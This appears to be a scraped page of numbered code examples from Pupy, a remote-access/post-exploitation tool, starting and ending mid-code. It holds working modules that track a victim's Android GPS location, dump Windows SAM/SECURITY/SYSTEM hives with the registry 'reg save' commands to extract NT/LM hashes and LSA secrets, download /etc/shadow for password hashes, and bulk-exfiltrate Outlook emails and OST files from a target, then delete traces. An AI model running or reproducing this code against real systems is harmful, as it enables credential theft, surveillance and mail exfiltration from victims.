         self.success("Is Network Provider enabled?")
         print gpsTracker.isNetworkProviderEnabled()
     if args.get_position == True:
         if gpsTracker.isNetworkProviderEnabled() == False and gpsTracker.isGPSenabled()==False:
             self.error("GPS or Network Provider is not enabled on the device. You should not be able to get location!")
             return
         else:
             self.success("GPS or Network Provider is enabled on the device. You should be able to get location!")
         lat, lon = None, None
         gpsTracker.enable()
         for nbRetry in range(3):
             self.success("Getting current location...")
             lat, lon = gpsTracker.getCurrentLocation()
             if lat==None and lon==None:
                 self.error("Impossible to get location, retrying...")
                 sleep(5)
             else:
                 self.success("Current location:")
                 print "latitude: {0} , longitude: {1}".format(lat, lon)
                 break
         gpsTracker.disable()
     if args.start:
         r = self.client.conn.modules["pupydroid.gpsTracker"].startGpsTracker(period=args.period)
         if r == True:
             self.success("Tracking enabled. Get GPS position each {0} secds".format(args.period))
         else:
             self.error("Tracking not enabled because already activated")
     elif args.stop:
          self.success("Stopping GPS tracking... (can take {0} secds)".format(args.period))
          r = self.client.conn.modules["pupydroid.gpsTracker"].stopGpsTracker()
          if r == True:
             self.success("Tracking stopped")
          else:
             self.error("Tracking not stopped because not activated")
     elif args.dump:
         filename = os.path.join(self.localFolder,"gpsTraces.csv")
         if args.in_memory==False:
             traces = []
             download(self.client.conn, "keflfjezomef.csv",filename)
             self.success("GPS positions downloaded in {0}".format(filename))
             f = csv.DictReader(open(filename))
             for row in f:
                 traces.append([row['date'].replace(' ',''),row['latitude'].replace(' ',''),row['longitude'].replace(' ','')])
         else:
             traces = self.client.conn.modules["pupydroid.gpsTracker"].dumpGpsTracker()
         self.success("{0} GPS positions".format(len(traces)))
         if len(traces)>0:
             if args.in_memory==True:
                 f=open(filename,'w')
                 f.write("Date, Lat, Lon\n")
                 for aPos in traces:
                     f.write("{0}, {1}, {2}\n".format(aPos[0], aPos[1], aPos[2]))
                 f.close()
                 self.success("GPS positions (.csv) saved in {0}".format(filename))
             kmlFilename = os.path.join(self.localFolder,"gpsTraces.kml")
             generateKML(androidID, traces, outputFile=kmlFilename)
             self.success("KML file created in {0}".format(kmlFilename))
         else:
             self.error("No GPS positions get. You should start GPS tracking or wait a moment")
     elif args.status:
         if self.client.conn.modules["pupydroid.gpsTracker"].statusGpsTracker() == True:
             self.success("GPS tracking is enabled")
         else:
             self.success("GPS tracking is NOT enabled")
     elif args.clean:
         status = self.client.conn.modules["pupydroid.gpsTracker"].deleteFile()
         if status == True:
             self.success("Trace file deleted from device")
         else:
             self.error("Impossible to delete trace file on device")
             self.error("Gps Tracking has never been enabled or it is running")
Example #21
0
    def run(self, args):
        # First, we download the hives...
        rep=os.path.join("data","downloads",self.client.short_name(),"hives")
        try:
            os.makedirs(rep)
        except Exception:
            pass
        
        self.info("saving SYSTEM hives in %TEMP%...")
        for cmd in ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM /y", "reg save HKLM\\SECURITY %TEMP%/SECURITY /y", "reg save HKLM\\SAM %TEMP%/SAM /y"):
            self.info("running %s..." % cmd)
            self.log(shell_exec(self.client, cmd))
        self.success("hives saved!")            
        remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%")
        
        self.info("downloading SYSTEM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"), os.path.join(rep, "SYSTEM"))
        
        self.info("downloading SECURITY hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SECURITY"), os.path.join(rep, "SECURITY"))
        
        self.info("downloading SAM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SAM"), os.path.join(rep, "SAM"))
        
        self.success("hives downloaded to %s" % rep)
        
        # Cleanup
        self.info("cleaning up saves...")
        try:
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SYSTEM"))
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SECURITY"))
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM"))
            self.success("saves deleted")
        except Exception as e:
            self.warning("error deleting temporary files: %s"%str(e))
        
        # Time to run creddump!
        # HiveFileAddressSpace - Volatilty
        sysaddr = HiveFileAddressSpace(os.path.join(rep, "SYSTEM"))
        secaddr = HiveFileAddressSpace(os.path.join(rep, "SECURITY"))
        samaddr = HiveFileAddressSpace(os.path.join(rep, "SAM"))
    
        #detect windows version
        is_vista=False
        try:
            if self.client.conn.modules['sys'].getwindowsversion()[0] >=6:
                is_vista=True
                self.info("windows > vista detected")
            else:
                self.info("windows < vista detected")
        except:
            self.warning("windows version couldn't be determined. supposing vista=False")


        # Print the results
        self.info("dumping cached domain passwords...")

        for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista):
            self.log("%s:%s:%s:%s" % (u.lower(), h.encode('hex'),
                d.lower(), dn.lower()))
        
        self.info("dumping LM and NT hashes...")
        bootkey = get_bootkey(sysaddr)
        hbootkey = get_hbootkey(samaddr,bootkey)
        for user in get_user_keys(samaddr):
            lmhash, nthash = get_user_hashes(user,hbootkey)
            if not lmhash: lmhash = empty_lm
            if not nthash: nthash = empty_nt
            self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16),
                lmhash.encode('hex'), nthash.encode('hex')))
        
        self.info("dumping lsa secrets...")
        secrets = get_file_secrets(os.path.join(rep, "SYSTEM"),
            os.path.join(rep, "SECURITY"), is_vista)
        if not secrets:
            self.error("unable to read LSA secrets, perhaps the hives are corrupted")
            return
        for key in secrets:
            self.log(key)
            self.log(self.dump(secrets[key], length=16))
        
        # The End! (hurrah)
        self.success("dump was successfull!")
Example #22
0
    def linux(self):
        known = set()
        hashes = []

        def add_hashes(line):
            user, hsh, rest = line.split(':', 2)
            if not hsh in ('!', '*', 'x') and not (user, hsh) in known:
                known.add((user, hsh))
                hashes.append(line)

        try:
            passwd = os.path.join(self.rep, 'passwd')
            download(self.client.conn, '/etc/passwd', passwd)

            with open(passwd, 'r') as fpasswd:
                for line in fpasswd.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/passwd is not accessible: {}'.format(e))

        try:
            shadow = os.path.join(self.rep, 'shadow')
            download(self.client.conn, '/etc/shadow', shadow)

            with open(shadow, 'r') as fshadow:
                for line in fshadow.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/shadow is not accessible: {}'.format(e))

        self.client.load_package('pupyutils.safepopen')
        sopen = self.client.conn.modules['pupyutils.safepopen'].SafePopen

        try:
            with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd:
                for line in sopen(['getent', 'passwd']).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error('getent passwd failed: {}: {}'.format(
                type(e), e.message))

        try:
            with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow:
                for line in sopen(['getent', 'shadow']).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error('getent shadow failed: {}: {}'.format(
                type(e), e.message))

        db = Credentials()
        db.add([{
            'Hash': ':'.join(hsh.split(':')[1:]),
            'Login': hsh.split(':')[0],
            'Category': 'Shadow hash',
            'uid': self.client.short_name(),
            'CredType': 'hash'
        } for hsh in hashes])

        for hsh in hashes:
            self.log('{}'.format(hsh))
Example #23
0
	def run(self, args):
		'''
		'''
		self.client.load_package("outlook")
		localFolder=args.localOutputFolder
		self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'].encode('utf-8'), self.client.desc['user'].encode('utf-8'), self.client.desc['macaddr'].encode('utf-8').replace(':','')))
		if not os.path.exists(self.localFolder):
			logging.debug("Creating the {0} folder locally".format(self.localFolder))
			os.makedirs(self.localFolder)
		if args.folderId != None:
			self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
		outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
		if args.downloadOST == True:
			self.success("Trying to download Outlook OST file of the targeted current user")
			paths = outlook.getPathToOSTFiles()
			if len(paths)>0:
				localPath = os.path.join(self.localFolder, ''.join(l for l in paths[0][0].encode('ascii','ignore') if l.isalnum()))
				self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath))
				download(self.client.conn, paths[0][1], localPath)
				self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath))
			else:
				self.error("OST file not found or an error occurred")
		if outlook.outlookIsInstalled() == True:
			self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...")
			if outlook.connect() == True:
				self.success("Connected to Outlook application through MAPI")
			else:
				self.error("Impossible to connect to Outlook application through MAPI. Aborting!")
				return
		else:
			self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!")
			return
		if args.information == True:
			info = outlook.getInformation()
			for key, value in info.iteritems():
				self.success("{0}: {1}".format(key, value))
		if args.foldersAndSubFolders == True:
			self.success("Outlook folders and subfolders:")
			foldersAndSubFolders = outlook.getAllFolders()
			for i,folder in enumerate(foldersAndSubFolders):
				print "{0}: {1}".format(i, folder.encode('utf-8'))
				for j,subFolder in enumerate(foldersAndSubFolders[folder]):
					print "  {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8'))
		if args.numberOfEmails == True:
			self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder))
			nb = outlook.getNbOfEmails()
			self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb))
		if args.downloadAllEmails == True:
			self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder))
			nb = outlook.getNbOfEmails()
			if nb == 0:
				self.error("This box is empty. You should choose another Outlook folder")
			else:
				self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder))
				self.success("You can use msgconvert for reading these emails locally")
				self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.")
				self.warning("Notice if an antivirus is installed on the target, you should be able to download emails without a security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)")
				logging.debug("Downloading all emails")
				for i, anEmail in enumerate(outlook.getEmails()):
					aPathToMailFile, filename = outlook.getAMailFile(anEmail)
					sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,outlook.getNbOfEmails(), colorize("[+] ","green")))
					sys.stdout.flush()
					localPathToFile = os.path.join(self.localFolder, filename)
					logging.debug("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile))
					download(self.client.conn, aPathToMailFile, localPathToFile)
					logging.debug("Deleting {0}".format(aPathToMailFile))
					outlook.deleteTempMailFile(aPathToMailFile)
				print "\n"
				self.success("Download completed!")
		if args.search == True:
			self.success("Searching '{0}' in emails stored in {1} folder...".format(args.strings, args.outlookFolder))
			localPathToFile = os.path.join(self.localFolder, "research.txt")
			emails = outlook.searchStringsInEmails(strings=args.strings, separator=',')
			if len(emails) > 0:
				self.success("{0} emails found with {1}".format(len(emails), args.strings))
			else:
				self.error("{0} emails found with {1}".format(len(emails), args.strings))
			f = open(localPathToFile,"w")
			for i, anEmail in enumerate(emails):
				f.write("-"*100+'\n')
				f.write("[+] Email {0}\n".format(i))
				f.write("-"*100+'\n')
				f.write("Subject: {0}\n".format(anEmail['subject'].encode('utf8')))
				f.write("Body: {0}\n".format(anEmail['body'].encode('utf8')))
			self.success("Research completed!")
			self.success("See the following file for results: {0}".format(localPathToFile))
			f.close()
Example #24
0
class outlook():
    '''
	'''

    OL_SAVE_AS_TYPE = {
        'olTXT': 0,
        'olRTF': 1,
        'olTemplate': 2,
        'olMSG': 3,
        'olDoc': 4,
        'olHTML': 5,
        'olVCard': 6,
        'olVCal': 7,
        'olICal': 8
    }
    OL_DEFAULT_FOLDERS = {
        'olFolderDeletedItems': 3,
        'olFolderDrafts': 16,
        'olFolderInbox': 6,
        'olFolderJunk': 23,
        'olFolderSentMail': 5
    }
    OL_ACCOUNT_TYPES = {
        4: 'olEas',
        0: 'olExchange',
        3: 'olHttp',
        1: 'olImap',
        5: 'olOtherAccount',
        2: 'olPop3'
    }
    OL_EXCHANGE_CONNECTION_MODE = {
        100: 'olOffline',
        500: 'olOnline',
        200: 'olDisconnected',
        300: 'olConnectedHeaders',
        400: 'olConnected',
        0: 'olNoExchange'
    }

    def __init__(self,
                 module,
                 rootPupyPath,
                 localFolder="output/",
                 folderIndex=None,
                 folderId=None,
                 sleepTime=3,
                 msgSaveType='olMSG',
                 autoConnectToMAPI=True):
        '''
		'''
        self.module = module
        self.outlook = None
        self.mapi = None
        self.localFolder = os.path.join(
            localFolder, "{0}-{1}-{2}".format(
                self.module.client.desc['hostname'].encode('utf-8'),
                self.module.client.desc['user'].encode('utf-8'),
                self.module.client.desc['macaddr'].encode('utf-8').replace(
                    ':', '')))
        self.foldersAndSubFolders = None
        self.folderId = folderId
        self.folderIndex = folderIndex
        self.msgSaveType = msgSaveType
        self.inbox = None
        self.constants = None
        self.sleepTime = sleepTime
        self.remoteTempFolder = self.module.client.conn.modules[
            'os.path'].expandvars("%TEMP%")
        if autoConnectToMAPI == True: self.__connect__()
        if not os.path.exists(self.localFolder):
            logging.debug("Creating the {0} folder locally".format(
                self.localFolder))
            os.makedirs(self.localFolder)

    def __connect__(self):
        '''
		Returns True if no error
		Otherise returns False
		'''

        self.outlook = self.module.client.conn.modules[
            'win32com.client'].Dispatch("Outlook.Application")
        #self.outlook = self.module.client.conn.modules['win32com.client.gencache'].EnsureDispatch("Outlook.Application")
        self.mapi = self.outlook.GetNamespace("MAPI")
        if self.folderId == None:
            self.setDefaultFolder(folderIndex=self.folderIndex)
        else:
            self.setFolderFromId(folderId=self.folderId)
        return True

    def close(self):
        '''
		'''
        logging.debug("Closing Outlook link...")
        self.outlook.Quit()

    def getInformation(self):
        '''
		Returns Dictionnary
		'''
        info = OrderedDict()
        info['CurrentProfileName'] = self.mapi.CurrentProfileName
        #info['CurrentUserAddress']=repr(self.mapi.CurrentUser) #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout
        info['SessionType'] = self.outlook.Session.Type
        for i, anAccount in enumerate(self.outlook.Session.Accounts):
            info['Account{0}-DisplayName'.format(i)] = anAccount.DisplayName
            info['Account{0}-SmtpAddress'.format(i)] = anAccount.SmtpAddress
            info['Account{0}-AutoDiscoverXml'.format(
                i)] = anAccount.AutoDiscoverXml
            info['Account{0}-AccountType'.format(i)] = self.OL_ACCOUNT_TYPES[
                anAccount.AccountType]
            #info['Account{0}-UserName'.format(i)]=anAccount.UserName #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout
        info[
            'ExchangeMailboxServerName'] = self.mapi.ExchangeMailboxServerName  #Returns a String value that represents the name of the Exchange server that hosts the primary Exchange account mailbox.
        info[
            'ExchangeMailboxServerVersion'] = self.mapi.ExchangeMailboxServerVersion  #Returns a String value that represents the full version number of the Exchange server that hosts the primary Exchange account mailbox.
        info[
            'Offline'] = self.mapi.Offline  #Returns a Boolean indicating True if Outlook is offline (not connected to an Exchange server), and False if online (connected to an Exchange server)
        info['ExchangeConnectionMode'] = self.OL_EXCHANGE_CONNECTION_MODE[
            self.mapi.ExchangeConnectionMode]
        self.mapi.SendAndReceive(True)
        print repr(self.mapi)
        return info

    def __getOlDefaultFoldersNameFromIndex__(self, folderIndex):
        '''
		Return None if folderIndex not found in OlDefaultFolders
		Otherwise returns Name of the folder
		'''
        found = False
        for k in self.OL_DEFAULT_FOLDERS:
            if self.OL_DEFAULT_FOLDERS[k] == folderIndex:
                return k
        return ""

    def setDefaultFolder(self, folderIndex=None):
        '''
		See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
		Return True if done
		Otherwise returns False
		'''
        if folderIndex == None:
            folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox']
        folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex)
        if folderName == None:
            logging.warning(
                'Impossible to move the default folder to {0}. This folder index is not in {1}'
                .format(folderIndex, self.OL_DEFAULT_FOLDERS))
            return False
        else:
            logging.debug(
                "Moving outlook default folder to {0}".format(folderName))
            self.inbox = self.mapi.GetDefaultFolder(folderIndex)
            return True

    def setFolderFromId(self, folderId):
        '''
		See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
		Return True if done
		Otherwise returns False
		'''
        if folderId == None:
            logging.error("Impossible to set Outlook folder to None")
            return False
        else:
            logging.debug(
                "Moving outlook default folder to {0}".format(folderId))
            self.inbox = self.mapi.GetFolderFromID(folderId)
            return True

    """
	def getAnEmail(self, nb):
		'''
		nb: number of the email
		nb>=1
		'''
		return self.inbox.Items[nb]
	"""
    """
	def getEmailsWithSubject(self, subject):
		'''
		Returns a list which contains all emails (mailItem objects) when subject is in the email subject
		'''
		emails = []
		for anEmail in self.inbox.Items:
			if subject in anEmail.Subject:
				emails.append(anEmail)
		return emails
	"""

    def getEmails(self):
        '''
		Returns a list which contains all mailitems
		'''
        emails = []
        logging.debug("Getting {0} emails...".format(self.getNbOfEmails()))
        for anEmail in self.inbox.Items:
            emails.append(anEmail)
        return emails

    def downloadAnEmail(self, mailItem):
        '''
		'''
        ctime, subjectCleaned, receivedTime, path, filename = str(
            time.time()).replace('.', ''), "Unknown", "Unknown", "", ""
        try:
            subjectCleaned = ''.join(
                l for l in mailItem.Subject.encode('ascii', 'ignore')
                if l.isalnum())
            receivedTime = str(mailItem.ReceivedTime).replace('/', '').replace(
                '\\', '').replace(':', '-').replace(' ', '_')
        except Exception, e:
            logging.warning(
                "Impossible to encode email subject or receivedTime:{0}".
                format(repr(e)))
        filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime,
                                            subjectCleaned[:100], 'msg')
        path = self.module.client.conn.modules['os.path'].join(
            self.remoteTempFolder, filename)
        logging.debug(
            'Saving temporarily the email on the remote path {0}'.format(path))
        #mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG'])
        mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType])
        try:
            self.module.client.conn.modules['os'].rename(
                path, path)  #test if the file is not opened by another process
        except OSError as e:
            time.sleep(self.sleepTime)
        logging.debug("Downloading the file {0} to {1}".format(
            path, self.localFolder))
        download(self.module.client.conn, path,
                 os.path.join(self.localFolder, filename))
        logging.debug("Deleting {0}".format(path))
        self.module.client.conn.modules.os.remove(path)